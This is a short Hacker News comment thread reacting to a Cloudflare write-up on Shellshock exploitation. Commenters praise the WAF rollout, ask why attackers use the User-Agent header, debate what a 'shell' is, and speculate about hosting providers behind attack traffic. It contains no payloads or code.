"On Sunday, after studying the extent of the problem, and looking at logs of attacks stopped by our WAF, we decided to roll out protection for our Free plan customers as well."

I am glad they made that call. Thanks Cloudflare.

Is it not a common assumption to think attacker's are not using the User-Agent header to attack? It is logged by default in Apache and nginx as far as I know. Why wouldn't you mask your attacks using another header? Cookies anyone?

Excellent so far, although I've always thought of the entire interactive userland as the shell -- not only CLI, but also GUI, as each wraps the kernel on sort of the same plane.

That would be my understanding as well, e.g. On Microsoft operating systems, the primary shell is Windows Explorer.

Congrats to Cloudflare on this write-up. It’s interesting to have actual figures and a breakdown on how Shellshock is being exploited in the wild. Kudos for explaining the vulnerability in simple terms that a non-CLI user should be able to understand.

these requests were coming from France (80%)

Let me guess, OVH?

Online.net (ponytelecom.eu) seems to be the new favorite since OVH at least makes a vague attempt to prevent it.

Reply on news.ycombinator.com